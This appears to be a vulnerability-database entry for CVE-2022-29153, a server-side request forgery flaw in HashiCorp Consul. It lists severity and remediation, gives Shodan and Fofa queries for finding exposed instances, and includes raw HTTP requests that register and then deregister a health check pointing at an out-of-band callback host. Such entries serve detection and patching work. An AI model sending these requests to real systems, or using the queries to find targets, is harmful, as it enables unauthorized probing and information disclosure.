| Title | HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery |
|---|---|
| Author | c-sh0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to send crafted requests to internal resources, leading to unauthorized access or information disclosure. |
| Remediation | 1) HTTP + interval health check configuration provides a disable_redirects option to prohibit this behavior. 2) Fixed in 1.9.17, 1.10.10, and 1.11.5. |
| CVSS Score | 7.5 |
| EPSS Score | 0.85724 |
| CVE ID | CVE-2022-29153 |
| CWE ID | CWE-918 |
| Shodan Query | title:"Consul by HashiCorp"http.title:"consul by hashicorp"cpe:"cpe:2.3:a:hashicorp:consul" |
| Fofa Query | title="consul by hashicorp" |
| Tags | cve cve2022 consul hashicorp ssrf intrusive vkev vuln |
HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PUT /v1/agent/check/register HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 151
Content-Type: application/json
Accept-Encoding: gzip
{"id":"38F95EqYdO9r5TY04gFpzYWf2GX","name":"TEST NODE","method":"GET","http":"http://oast.me","interval":"10s","timeout":"1s","disable_redirects":true}
PUT /v1/agent/check/deregister/38F95EqYdO9r5TY04gFpzYWf2GX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29153.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-29153.pcap
N/AN/A